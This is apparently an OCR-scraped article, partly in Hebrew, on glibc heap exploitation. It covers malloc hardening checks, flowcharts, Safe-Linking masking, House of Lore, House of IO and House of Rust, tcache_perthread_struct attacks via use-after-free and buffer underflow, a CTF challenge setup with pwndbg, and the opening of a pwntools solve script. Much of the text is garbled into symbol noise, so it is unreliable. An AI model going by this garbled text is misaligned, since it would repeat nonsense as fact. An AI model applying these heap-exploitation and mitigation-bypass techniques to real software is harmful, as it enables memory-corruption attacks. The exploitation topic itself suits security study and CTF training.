https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=824b6cc3f40a09b33e01fabc203ccc36642279b2;hp=4db40514d615b1a94cad65da6ab1753717a705cf;hb=6bf4302e764e422656f4f7230619fe9ab481ae04;hpb=45ab54ce2db0751bfe1b30c044e1e6fffd1e017e
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=d6810be7f606ce9dad203a9454d66bcba7e63891;hp=57074108f1d147c380dde6e8ca125affb607db30;hb=893e609847a2f372970e349e0cede2e8529bea71;hpb=3defcff3991314ad57e9b63c37f5e6de9fd5e879
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=b62ffb57c0d859e1f3f89319a9894f37c598d2f7;hp=d6810be7f606ce9dad203a9454d66bcba7e63891;hb=6cce65407e2fc5015c69bb38741d6942b3e412c3;hpb=893e609847a2f372970e349e0cede2e8529bea71
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=e3ccbde7b5b84affbf6ff2387a5151310235f0a3;hp=a369001520395a1f7fd7b7411bba6c98e04d2391;hb=a334319f6530564d22e775935d9c91663623a1b4;hpb=0ecb606cb6cf65de1d9fc8a919bceb4be476c602
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=4ea35254bb973eda1811db668ca03ddae589e685;hp=a8bc76739f8c860acf4c14fa3156611caf320647;hb=bf58906631af8fe0d57625988b1d003cc09ef01d;hpb=04ec80e410b4efb0576a2ffd0d2f29ed1fdac451
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=8ae941c59703f4da69ef439c9c000527ec0835c3;hp=6427608a79f10f8f74cf17b9befc6e5641644831;hb=7ecfbd386a340b52b6491f47fcf37f236cc5eaf1;hpb=e53f0f51a62061e0c654d4b2f82d4c71b4d71932
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=516d401991123581c6ac336ae14b44a6d6d5f61f;hp=0b9facefd4e326a46ac4d013094f05db8decc5d0;hb=f6887a0d9a55f5c80c567d9cb153c1c6582410f9;hpb=d0a2af710654a038903dd4a300030670bfbeaa2d
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=558e8bab0ab3808ec9f5b569ca62863ef4651b27;hp=784919e4bd9e38783b77b25a79a3a7395eb2e9fe;hb=90a3055e8bdd9308eceeadc0b37278f324ec6b5d;hpb=991eda1ec17665ea0da247f8eabc6993d020ed8e
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=994a23248e258501979138f3b07785045a60e69f;hp=e29105c37211076679a44594e2cdfb501553c606;hb=17f487b7afa7cd6c316040f3e6c86dc96b2eec30;hpb=b170d2e7ab998180abbd24fdd6c03ecb4293d000
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=d290fde9d121abeef37f344884b85bc45ca3a6cc;hp=e3ff778113febdd0533aeea70f1a35f62259bcfd;hb=ec2c1fcefb200c6cb7e09553f3c6af8815013d83;hpb=9ce673b69e82578044958f66d93dcaddb23f6e95
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=0c9e0748b4c10988f6fe99ac2e5b21b8b7b603c3;hp=79f0e9eac7483b3fba19849a44029b5e8ba3bd33;hb=34697694e8a93b325b18f25f7dcded55d6baeaf6;hpb=18305fba5575a09063652014cfc483b898d8bdcd

Technologic

12/01/2018 2.27 Istvan Kurucsai | Fastbin size check in malloc_consolidate. diff
) Check if bckfd = victim when removing a chunk from th |
14/04/2018 2.28 DJ Delorie . : o . diff
unsorted bin during unsorted bin iteration.
16/08/2018 2.29 Pochang Chen | Check top chunk size field sanity in use_top. diff
) Proper size vs prev_size check before unlink() in backy
17/08/2018 2.29 Moritz Eckert o . . . diff
consolidation via free. Same check in malloc_consolidate
When iterating unsorted bin check: size sanity of next ch
on heap to removed chunk, next chunk on heap prev_
TSR 598 e _ | matches size of chunk being removed, check-¥fck !=| diff
' stvan BUTLCSAl | ictim and victim>fd 1= unsorted_chunks (avpr chunk
being removed, check prev_inuse is not set on next ch
on heap to chunk being removed.
20/11/2018 2.29 DJ Delorie Tcache doubldree check. diff
26/11/2018 2.29 Florian Weimer | Validate tc_idx before checking for tcache doufrkees. diff
. Check for largebin list corruption when sorting into| .
14/03/2019 2.30 Adam Maris . diff
largebin.
18/04/2019 2.30 Adzhaerr]':ﬁg’a' Request sizes cannot exceed PTRDIFF_MAX (Ox7fffffff| diff

[HeapLAB glibc Heap Exploitation Bible by Max Kampek } _
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https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=f5aafd2c0511cd5a57174e12c2192e3fea3e0b7b;hp=48106f9bd455620cbaf1a30bcfbd095cb16791cc;hb=249a5895f120b13290a372a49bb4b499e749806f;hpb=1a51e46e4a87e1cd9528ac5e5656011636e4086b
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=96149549758dd424f5c08bed3b7ed1259d5d5664;hp=e229181c5e252b1fa1e2bf800ab2ed03706c652e;hb=bdc3009b8ff0effdbbfb05eb6b10966753cbf9b8;hpb=f9555d73121bd12f6fd50545868e6a33096b8164
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=9431108626cdc0b5c1972ee00126228c8dd7166f;hp=e247c77b7d4de26e0f2fbec16e352889bac3781b;hb=30a17d8c95fbfb15c52d1115803b63aaa73a285c;hpb=34f86d61687457aa57d40cf3c230ca8404d40e45
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=7c8bf8413c54c367031ca274c9bca497a45897f8;hp=9431108626cdc0b5c1972ee00126228c8dd7166f;hb=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f;hpb=30a17d8c95fbfb15c52d1115803b63aaa73a285c
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=47795601c87513912a73b14576e30bff2f50de55;hp=7c8bf8413c54c367031ca274c9bca497a45897f8;hb=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c;hpb=6413fcde4fe0272eee469aaf41c8bb1d6e6a270f
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=47795601c87513912a73b14576e30bff2f50de55;hp=7c8bf8413c54c367031ca274c9bca497a45897f8;hb=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c;hpb=6413fcde4fe0272eee469aaf41c8bb1d6e6a270f
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=f730d7a2ee496d365bf3546298b9d19b8bddc0d0;hp=6d7a6a8cabb4edbf00881cb7503473a8ed4ec0b7;hb=bcdaad21d4635931d1bd3b54a7894276925d081d;hpb=5770c0ad1e0c784e817464ca2cf9436a58c9beb7
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=c9b2c6e320e5eaa3d91cde95aa61f289e407418e;hp=f730d7a2ee496d365bf3546298b9d19b8bddc0d0;hb=affec03b713c82c43a5b025dddc21bde3334f41e;hpb=8ae74eadb60eb36424e4605939cef5fc966724be
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=801ba1f499b566e677b763fc84f8ba86f4f7ccd0;hp=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=5b06f538c5aee0389ed034f60d90a8884d6d54de;hpb=a0a0dc83173ce11ff45105fd32e5d14356cdfb9c
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=0e3d4dd5163f5fa8fb07b71fb7e318e7b10f5cfd;hp=801ba1f499b566e677b763fc84f8ba86f4f7ccd0;hb=9bf8e29ca136094f73f69f725f15c51facc97206;hpb=52faba65f84ee5a8d82ff813bcfa0ee5f4d480cf

Technoloc

‘Malloc. s _ 1w 1 _ ~

Fd s Xk xmalloc(y, !X ISt X b v v Do kSt L XY i s £ 2 s
Ao A r Y doache® s 14k IDx 1 oxgbgis D X v wo¥d 4 A x o %

- S . L SXe oy S ” -8( 4 d X 5% s -|,_,,-|¢~ oo XXy \Zxxvl_sx_ S~ |

1.0« T xsqax 18X fsss | "malloc()

Request size in Appropriate
fastbin range? fastbin occupied?

Appropriate
smallbin
occupied?

Request size in
smallbin range?

Consolidate
fastbins

Exact fit or last

Scan unsortedbin .
remainder?

Appropriate
largebin
occupied?

Request size in
largebin range?

Binmap search
successfule

Binmap search

Enough space in
top chunk?

Consolidate

2
Have fast chunks? tastisins

sysmalloc

@ - % ¥ s HeapLAB Heap Exploitation Bible, Max Kamper: ngalloc(. s _ 1+-17_ ¥a'o X6 «
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:Unsortedbin Scan s _ 1w f _ ~

X X T kX Undortedbins b 4 ol X d 8 X L we s oSS A T i s

s wst” N ¢ 44 xtgache* s 14y iiox . 1o xghbes 0 X v W ¥ed 417 X x

unsortedbin-s _4 4 _ malloc()- [~ ~ 1s* t4¥ 4" 11x 45, malloc(), s - ST . X

A e Toxsdax sXgsss 4 Wmalloc()l F 4 i XX Iscad

~

smallbinss *fastbinss - _ x s 1 xs , X tcathe dumping . , 1unsortedbins _* .x _ 4 _

x w I dtcachebinr «+  «cache* * 411 447 T Jd X %X 4sx I« ys Chunks

-s ¢ M Adteachebin, chunks . « tcaches 1 . 'T¥ x 1x 1._. _victim chunks _

~ A

~ 1unsortedbin

Unsortedbin GLIBC compiled chf:ag":;s g . Alocatefrom
empty? with tcache? into fclache3 tcache

Break
Request in Victim is last chunk Victim is last Last remainder
smallbins range? in unsortedbin? remainder? large enough?
|
Victimin tcache Victim-sized

Partial unlink
victim

Victim is exact fite range? Syt
’
Sort victim AT S
tcache

Mark victim bin in
binmap

@ -« % &s {HeapLAB Heap Exploitation Bible, Max Kanper: Ubsortedbint = s « « + s _ 4r. 14 Ya'm X6 «
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Technolooi
:Sysmalloa s _ 1w _ ~

Fo1los X0 XX sysalloc), ! X 48 X L ovs s FS 4oy doy 8BS 0 L op sy

~

o B ocsx o4 ixcisA xq symallocq) S - SITL Sx v 8 7 [ X - A

~

v 45 4 \1"ns .~ 1 Ssysmallocfr errno 4 v X xs."yis s L. ENOMEMs « { Yy _ s

o0y T Xs{wx s* s

~

Request surpasses
mmap threshold?

Arena is main grow_heap() new_heap()
arena? successful? successful?

Free old top
chunk

Extension via
morecore()
successful?

Extension via

ENOMEM
mmap successful?

Adjust
system_mem

morecore()
extended top
chunk?

Free old top
chunk

® - % ¥ s {HeapLAB Heap Exploitation Bible, Max Kamper: Sgsmalloc() s _ 1+-1°_ Y¥ap *x6f «
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Free. s _ 4w 1 _ ~

Fodos xS x free(y. !X ASL Xk v D kST L XY gl x84 f S L s
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freer x « _ ¥4 xhunks v unmap(), « ¥ LSS~ « XX

~

House of Lore

Tosadd

.malloc. _metadatal * 7 1largebinss x smallbinss unsortedbins ¢ «, 1 {1chunk. x _ 1 «

A1
. 1 4chdink. _unsortedbin: | « - 7 % xcIxcwnsortedbins 4 x = « {1 41chdnkL _~ X _ 4 «
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chunks . _bks xfd-s * « _« .%o 700 % . bins « « _skip chunks xs | 1 chtink

~

.14 chunks v x| 4¥s 44" «safe unlinkingg = x « 4 LxX_ 4 4 H A xS

DX oL Xy

large chunkg small chunks x " #Ix]” 1 4 s 4% 4.1 7% 1] 494 x1Ix «sql xs x| s
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~
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1. 44w x> 48 4" ])-0%80000, ~ 1 arenas . _system_mers s 7 I -~
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g By o o sXC L, D x4 Jargebins 4 x ¢ o« X <4 4 xcRupks _ - 1«4,
S(v }S" . %7 wkld v taspoy X Do ye o x B, X x o {OXAffFAAff 1005 . €7 %
av>system_mem 1 X U ¥ {1sxpy 44 xclugks ¢ ! x N <47 0 ks n ) x L1y

_s DXX XX v ke Ss L X o x oy st x4 sy X4 s l. X s o0 w5,
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1A X 1 ooy K400 « X7 ko yx ™d1s1 . { - thdbits

Lxsx~x Masks . 4 I ¥ -|"_Ix'p<4,]~xs“ 1L~ 4 *X 5 f I X x II].S "

~ A~ o~ ~ ~ ~v v

ASLR v 4 . X (M x s 4 X9 4 $34x LiXx i Is” sS4, X
Mask ~ (L ~> PAGE SHIFT)

DXX 4 T4 ) K s fedsXisel L S € G 8 px ™ SASLR 1 1

a

(LSbits - . 14 x 1% 4 1 A )ymasks L _» @ XIPO 7 {s% s o 4 X T Ixx, ] {6 s

Lo A(X e XX s X 8, X ) 48 0 T st XssT oy s s | KT XX 8

:(CI X o K e xIZx_-p<“~I ‘_);| JZ 1\5,,v"-| 1 PXst xI x745 |, xS s ., S

PROTECTP) Mask XOR(P) - (L PAGE_SHIFT) XOR (P)
*L = PROTECTP)

=13<”LKORS:“X‘:”X "-1,,X“-|XS‘:xSX'fq:Ix)Sv-|~,,,,x kX« ”:)iXLJ

v o~ A v ~ v o~ ~ ~

HOMF -~ XX Iwso¥ ¥ g xfa ., x %

[* Safe - Linking:

Use randomness from ASLR (mmap_base) to protect single -linked lists
of Fast - Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment  checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe - Unlinking in the double -linked lists of Small - Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although  the pointer  mangling
still works. */

PROTECT _PTRpos, ptr , type ) \

((type)(((( size t )pos) PAGE_SHIFT) (( size_t )ptr))

REVEAL PTRptr ) PROTECT PTR(&ptr, ptr)
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https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c

Technologic

2M2Bytes=4KB- x 1y | x ¥ 91 4cri * 1 XX M4 X PAGE_SHIFLX _-]x pos~ _ + |

Tl A7Is® s 3L ASLR P4 o 18 s aSXLD b 4 S XpXqYisH-s Y, X 8

(P) { " Ix'|x$1,,]~ X $§ S ~4,,xs:-| o X j ¥ . x ﬁtl’-x

CCAAC=B AAB=CXORs © L XS " X | XX s xs("y §" | "xysxs i{yxs

chunkL © _ YT % xT x4 m0s (vls " ixspibipsd 4 o1 oxdd L8 pr=1l9

Lok A DX AT s s A L x il s A e e s XTEs L, X XISk ] XS

NS X S XY X LT, 447 YT X x . {8 s

- O
1

0x0000BA9876543210
Ox0000BA9876543180

P Ox0000BA9876543210

® D

L >> 12 0x0000000BAS876543

P’ := PO(L >> 12) = @x0000BA93DFD35753

SafeLinking: Eliminating a 20 yeald malloc() exploit primitive (From Check Point resediolg):H # x]4 «

L L T T R R o (G D S UL AL CLIRRE F LT
[T I SN SR TR BN Rt BN S T (P S S T I 0 SR S
XU Y 4 P s d, xS CAGLR 4 D) A v e d s 4 B s

R TRl E ! D BRI LR PRI S U NSO TS AL IS S S BN & RS

" oW g " Y:SXJ

KA AGFEH X Lg% " {sx T4y {54 _heaps L + 1 - ~chunkss o |
Po_s AHd A)reval: x4 14 »"+ 4% L oaxren x ).y | XMc

~

X X s W X lox "X Xx,_;-{:s,xxs.Hs.H,(x“ s

X B X T K H A T T

DX X XLl e T *cchunkse - X orYdoexl ) <

S Y AL Mel X M _ LSS e TSl 4] AT ysisiEm o x x| X

~

X . @3 nibble* v 14 11X %« 48 9. S Ll X B L (S XS

v~ a ~

AT A s T s, TR K LS 4108 . % 1 8 4dx X1 s

~

PR
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~ LR

Foo XS X sI4 o1 x| e primitives™ | x o q 7S x D4 {8 0 o x o .

Joxioo .ssy x4 Is. xfastbins . -malloc_hooks ~ x 4 « L

FX elsy o, O Q410X

1 X8 g 1 fadtbin® x dcache* chunk_ + _ ~» s 1 ¥ (J01s_ 1 «s " { {4 x _{sq 1 X

T lel!l Koe JSsxese 4 X A N D X S T8 L K

LT X BTy s o { X kEx.l_ xiux_ s{ s x) SafeUnlinks T x " w7 % {1 X

~

A4 RedpH Y o X4 A" X oo x Dssl o x X s

4 *s . LT i 1 x‘+<x,,s]”-|x¢w.| 4L Sy (X Lo XX K » 4] X X [ TR x

s x sy sl xS d T v 47 FOBKE 4 ¥ %Y 4 49X 4 keap
Xt A e 10X Chenk. | WXl . 4~ A

1T x o ixd 1% “ XVX Doy dxpiox ~=,,-{x\< R >'1Zxx-|,,J~ XX [ T T x

ASLR - L X AZ ] " xsq . ”'-“A:‘JSV . vsv"~y 5% J><~“ i .o | 1: {1 XL v L T X x

>~ v

A s X P4 s T 44 4 d s Xis.  PAGE_SAT, x X I.ss]1 0 x

>~

Coew X X g x Tos 7 i Dox L, X s $ S D o xp] X, ol . X

<~ [N ~ 7

{17k o x s 8 e fata® T |, 1 X ~ 4w tfttleendian T x ¢ T H/Eq X s

XA

LX< %7 X f o x o 5 x .87 "Shfelinkings 7 vesx 1id. ¥ 1 fpTx % Dox o0 X
X 1§, Hs Tox Pxsx f P oxos Sof LT 444 Theapd _ x I ¥ T x L x s
Fd 7 Yheapt |, XS o« it o A T ixspdr X s " d XLy L 8 os o xR0 s

ol sl o X s 1 a5 ws v L Tps{X

TS xLdglibets | X X 4 4T B XX D x4 Y sfosTs x xxs§ Yy s
ST XX Dy SOsol SSLIX S T Y ST I X Y, X T X KT st

heap leakx " 1 * . s*" ¥y § s, x Xg |, % < *sx {74 f%YJ) XHeap

w41 11474 &£

LATCII S A X o L e 4 4P Al glibar D X WK T ET S KL T4 f ]
S T« A X x b XA H s T wpatchs o« % X Jye T AAd T X840

X oL X X, _X“|_1§”“V5x LX‘--l‘SXLVAI-'I:'lAl_ls)S"'|S1"\‘Xx("x'|~x-|>j>("xv

~ v~ ~ ~

ST RO | LI SR S BN AR I B B G NS [ SR | BN SRS NP S FIED YR IS S

~ o~ ~ ~v

D IR TS e BTXSCHA M, XX T LS xS s L o Fx Aoy 414 s

~~

CX e e, Tt s x e e A Y X s, X ] X s X
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https://quentinmeffre.fr/exploit/heap/2018/11/02/fastbin_attack.html
https://github.com/x64x6a/ctf-writeups/tree/master/PlaidCTF_2021/pwnable/plaidflix
https://github.com/x64x6a/ctf-writeups/tree/master/PlaidCTF_2021/pwnable/plaidflix
https://sourceware.org/glibc/wiki/MAINTAINERS
https://sourceware.org/pipermail/libc-alpha/
https://sourceware.org/bugzilla/buglist.cgi?quicksearch=vulnerability

Technologic

P A K XY T ] A x T xS L T H Ty Y XY kv i e o Y sy
oo~ s X arSqies X e X e S o A ST XL R g s ox D] Tsx o 4 L ]

XA LT X S S 4 X T IA AL o0 AR s X L 1T s

Cos M xexpe % & 7S X XA s

LI N ~

T1 e o0 T X0 T Tod wd Hd = % X diesd_ I 4 yssxpxh 7 4 sCxs &
T I R T O T B R

~~

L
LS T S s TSASYL X ) WX X L XX qs s
ST Lo axs ] T sl X o n s xe xx o 4] X s 4 x4 ey s s

s I JIxs] .1 %

House of 10: Remastered (2020, Jaydeh S NE 6 a! g NI dz£ 0 3

1Tos-ld «
X ., » 1 e&hynksd x : * « X pfain arenas . ) tcaches . x ss { ™. __metadatas - - 1 _ s

tcaches J x '« , x | (X

A1
chunkss . _userdatas s | 4 *.¥ metadata~ _ _*"*caches . _~ x " 1< s” s .7

Jx X oxx DoyxXs 1s X4 . 4] Jecaches | x| A osx{ pxps]Us* ooos x " oo x 1

~o X pextfdd 4 €« ~PROTECH)* ~» «~ ~ 1 1 _ SafeLinkings = x 7 ¥’ 4 171 L

S X O e ¢ sPYfastbings ¢ S o o XX DY X o X LSy L v 40 S

static __ thread:tcachebinss - x _ 41__ -« » d 1 X% 4 _ s x _["x 8% X X3 headp

Al YaxxOos XX xS o L x4 yd"Is s 7 L. X tcache perthread_structtcache

Do X% R qus X X Hx g ©s L, o] *he@ps f oL 1 1siam s T X |s

w a ~

L% X8 S K W) X ] Asad sed oTxssXDoX x D] s 4 % pftwise x0) 4 X | 1
L ws

LX 34X, T Y s s T o kST T Glibe! L4 s xS

tcachebinss I 1+ freelists @ 4 _ ~ » «0 X, 41X %€ 47 |1

~

X ,8]"x s ,&Xs % )i . hedps _- | 3 . « tcache perthread_struet s " * _
1 v o 1~ «blfferwnderflow: + X 1 4« x Ai ., 1)hé&aps * ¢ 1 17: *1 % x she@ps _
1o o~ P A A ] A9 e 4 1% D He x5 F A¥ X D X fheap* |, X ]

X, L ¥Istcaches s 7 . 1 s, xiow €7 LY Xs A shgaps o - X ¢ 1T 4 0

Cbinx ok s 4 aes, 4 X o ). 1 X ttache_entryy 41 _islexx g, X
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https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L3025
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_init

Technologic

Fdo,oe D x4
LS « X=X b Doxyax 0 D N X e o Msqid xs o4 ool x4 x X
10T x L R
xs s{4 % ] ¢4 4% . Tcaches s 7 ¥ X x I d 4~ ~ -UAF dn

~ ~ v

S X GHx X X v XXl msX xS x4 T Ay flyt 4 s F L

1. 1+ (tcache perthread stru¢) user data* @d 7 _ 1 * ) quadwords) keys
free chunk. x 4 "™ s x % . (kéyd main_arena ~ « _ ¢ & X s % s X 4 1]
dcache put(F 1 - « ttacher*

S 4 _a oo~ <R 7 X victim chunks Ll Xevdie ) 48 7 xgeidx s X 1

wtcache>countgtc_idx* dcache>entriegtc_idx. «x 7 _“1* x © 1s {488 X(_ {4 x

. «dcache>entriegtc_idxd x X X X" X v 4 X 4 Tpd vt "Sx ] 50 s "

=S L - X x iil.s_ tcache chunké . _metadata™ ::~ x ) x¢7"!target datas ¢ * x : |

_ Icachebinx - 4 ¥ ‘chunks « « &hgnks - ¢ 11 :« L ¥, * ghunks . _user data

victim chunks = x < X % fargetdatas . ¢ x o] Lx”

Px gy X Xxxs: y x I xx .1 ffeg(y - x« 4, tcaches . L x s ™%, x ., 1@

F ¥l 4 X memberss 1 o~ ~ frée(}. 17 4 L TR A S A4 ]S, S x L]

x " oA tmemberd ~ L _ )wm* . 1 S tcaches s 7 X 4 X 5. 101,10
-s L «tcache_perthread _struet - ~ .~ _ I 1 kegs s | + x <4 _ X Tree() x 1 L |
(16/2)*64+8*64 = 0x280bytes, 8 more bytes needed for Px290L ! xr¥4L« - tcathebin
02881 0x2777 44 1y Jr 4~ £ L xsyuXo oss | T 8T L Size field =0x290
A e A e b X teaches s T X iy s X 4 Do A X X X .

~

1
-

—_

X

n

AS:L-IZ"XX“:XXA,,S“Lxls?.(Y:X'i":xl_\»(Y« :"FAI 1 4. i . oL

~ ~ > ~va 1 ~ ~

.Use-After-Freex buffer underflow: _ x . 4+ > x B * .. s4 1 % $ falloc()

oo D s xIT4 " 4sx 14 Ytcache perthread_struet s 7 *- - 1 _ Buffer underflow ®

A7 s LA ¥ A T A H I 4 | Jheaps L x 4L x X

S X WX W Wxs 4 s 4 47y &7 Bafelinkings ¢ 7 ¥V S X L X F ks oox Ix” 4.

MallocWherey x * 4 14 Y {1 . § 1itcaches o _1 _ « « s 97 31 «1 X, x4 X

« x 5;s  tfcathebin, « &« _ 1 X < o esxoodxldx s L {0 x 24 ¥ Ichuhk: x <) sy
.next/fd-s 4 4 ¢ T ¥ 4 Lx)X

L""S=X”Y:"XV'F"~’L‘X"~SJ"V<X“]A-ILL ‘-Iyl_“‘\

~ ~ v
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https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_perthread_struct
https://elixir.bootlin.com/glibc/latest/source/malloc/malloc.c#L3062

Technologic

fastbinss L s « 4 Ip*Isl x T siluxd{{ls«tcaches I v 7 Il *s o s

1T A BUAF 7 osx T4 ¥ 14 s:{ xp T~ x1x g s foxiss] .5, <. s
tcache_perthread_struet * ~~ _ «.._  «* $ 14X heaps . s 7 *_x o 44 4

« x Underflowy «~ *, 4 1 A4S 14 1224 1 ¢ L x4s"x G xf « 11 4 Ttdadhebins | X 7«

Qverflowy « X« x o X s % s

ow

cxr AL X e X xS L _free(}s o x v oA kx st 1l o x "X
sl ¥ R iy 1 XX Dy T xs X s X x s X UAFRX

FX s Y free(Pr s~ A% N S TH | X X Lmemberss s 7 XL free(qLt X~ 4~ S

.tcache_perthread_struet ~ x . 1 _ 1

1147 % s xkegrr 4 "exd 1, 4 X sy""x sy qglidbc _ Ho o - Y

s . x o o X othread 4 X o*x - 4 . 10 x0” x & 1 x &tatic uintptr_t tcache_key

Tx A% 18 % fed 40 g q b "L X1 S)tcdchers | " d $ X1 1 0 L ¥YX{ X0 o«

{1 x * freechunkss o« 17 4 %0 x s 4]0 70 0 ise A 0 XSt 1 (4, oY x4

Lt 1 ud_~ stgachebinx * 9 x X0 L Dox o ssCh {x{yss . 1 %, )+1494 tcachebin

.1 tcachebin. -+ 1 « ‘osxpll{x ¥y

{1 1117 xsi X «tcacher X ~ _ Afreechunkss « 1 _keys s | _.xx X4 s {3].

v o~

D lqdesign T ol WA LA 9 LSI R 4 Loy (U ddxxsT 1 xis¢S

v o~

chunk v 1 x> x o I HC% s wv 40 X7 4 4447 7 I x0T 8 x 7y x sq 7

~

LoSY L Ss” g%, 1xs)¢ | x s8], 1l xy 4 $ltdaches L «» ~ 1 : s

~ ~ o ~ ~ v

o CLookad X ier 1 . X~ |X)dcaches s 7 T X ox D]

~

House of Rust (202d4ebt, Bypassing Glibc 2.32 Safe Linking mitigation)

Dl X x glibERBAL XLsL L X 4, ST AT L xlxx S04 ]

N SR X 1T R X e L

v v =

House Every Weekendjlibc Heap Exploitation
www.DigitalWhisper.co.il
pp HAHNMX 1Mo~ x4 Y



https://git.uplinklabs.net/mirrors/glibc/commit/fc859c304898a5ec72e0ba5269ed136ed0ea10e1?style=split&whitespace=
https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c#L3035
https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c#L3035

‘CTF x 1x,sl:yfFHL”yZM\”X o

heapexploitation~» x % I x >4 4 © x « ¥y x|

Ubuntu Linux: | x * 4 !pwndbgr s | x X XX 37 s X0 M -H o[ ) x X

pwndbg: 7 o« » P x D Qi ciixs o, x kT 4 ox L, T X o1804/20.04

~ ~ v ~

Tl v e s AT e xdesxed A x4 o 10ST 4w fbasht ) 1 . s X

v o~

(~ €1 x & * JAngelBoy forkd X ‘pwndbg™ 4 «+:X)§ «x]+«

DX OTIXK o L x ¥ T sx{ L 1 x ¢ X 4 d ., sldbckert ¢ 1 M 4 .s x|

(ctfpwn-eny) —_~~1x 7 i UbUntur _
Pawned- HacktivityCon 2021

D x v bdibe231sor _ libct _1 . 1 bujldxpawnedr _ ELE X f d L XSGy Do X
(Y 2 B A LT d e Fortifyx _flx 4 .0 x % s ") Fllly protected . x s

$ checksec --file=pawned

'/home/idan/pawned/pawned
Arch: amde4-64-little

RELRO:
Stack:
NX:
PIE:

cooames s o xsilipe X T HTLT K AT e, X e e TR
YUbuntu20.041 S » « HO M 1o 1 37 < D HDbgIS, 4 ¥ XeuxXfse § X o %

: $ 1dd pawned
linux-vdso.so.1 (0x00007ffda51b2000)

libc.so.6 => /1ib/x86_64-1linux-gnu/libc.so0.6
/1ib64/1d-1inux-x86-64.50.2

POY, o, XXX ssX L X" %S R S L ibes s sy oxpx] o x Xxosp g g L

~

X Tex_"aliass 1 v % <rdleage: | -1 ¥4~ X $ ) pwninit: <! 1 4+ XY ] Jld.so, X x «

L LA e ds T4 s8> 44lds_ aargod 6" «iss{. x.s

~ v ~

L1 dstablg ~» - xi44*7 ol {sss” o Rust, S |~ YS! x]X{.cargo,rust libzimadev

¢

Lopwndbge 17 X 1 K4 XX IS Sibor XA e o« AKX $ S IK T %D X o

Xopox T4 X X g4ty .
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https://github.com/pwndbg/pwndbg
https://github.com/one2blame/scripts/blob/9dc4a477339c73f9bbb5814ddbe4f15a16c4a059/setup-exploit-dev.sh
https://dev-pengun.tistory.com/entry/pwnable-%EC%9A%B0%EB%B6%84%ED%88%AC-%EC%84%A4%EC%B9%98-%ED%9B%84-%EA%B9%94%EC%95%84%EC%95%BC-%ED%95%98%EB%8A%94-%EA%B2%83%EB%93%A4-%EB%AA%A8%EC%9D%8C
https://github.com/WinMin/ctfpwn-env
https://github.com/search?q=pawned+challenge.ctf.games&type=code
https://github.com/search?q=pawned+challenge.ctf.games&type=code
https://github.com/io12/pwninit
https://www.rust-lang.org/learn/get-started
https://github.com/pwndbg/pwndbg/issues?q=is%3Aissue+%22This+command+only+works+with+libc+debug+symbols%22+

Technologic

Fdoeosgef* ot s, s L % X1 . Hsinchouse” X ks 4 S v L
x ¥y sed g o libcLe _-ox v oLyxsx s Ixos O xs dockerr !X XX X 0o~ ]
Sl xS X 4 x 0 e Tse T 0 qoffsets* L o X T AT]s Lo® 0o x o X

Do X L dx{gpkg-i S ! X <0 S¢S deb. X X «T 4 < kS Y 4. ! libdev

S T A B

~ oA ~ w

P 1" 4s «s.gdbscript + S 4 L P4 4F F e XIS wIs ] L xS P e XTSX L, F s

K %X S b xp s s, xsSE g g X8 =S 4 Xy x X LT

LUX XX,y XX s 4 4 % s 31 4 . ~ L

Fod -~ firrors | T H L % <4,7dAXx s 4 o X dst x X mirror-s - . X x4

L5 X Lo o Lo x 4 s debug symbols © Y 1S S € 4 4y X "L~

~ ~ OV~

I~ « Hdebugs 1 L s ¢ 1~ x "libc

r ~ libc.so6 libc-2.31.s0 1d.s02 1d-2.31.s0 +:4 «~ X s tf{ « ¥ «s €] X 4 . v x 47" A

~ ~

S w4l A s 4 ~HYs . .S debug symbols-gL ¥Y¢ s {glibc. o x, 4

~ > v v~ ~

.X(L source coda s _ $ ¥ sgdb. _1 !'mialloc.c: -~ - _ ) source code

DX T e A ST X TR . o 4 ssolvepyl L 4 . o L X8 g ] X

o _ .5 1,% _ lpython3 solve.py LOCAL GDB NOASIEs.GDB _ xIs _ args.DEBUG
Tx i8S K A vy, X7 o ox A0 L¥Ms 1 _ "t 1. x (template™
@2y GSEGOt 23t SASE | _wh LUMAS2!Iggisgh ¥ S0 4 « % x

from pwn import *

elf = context . binary = ELF(
libc = ELF(elf .runpath + ) # or ELF(elf.libc)
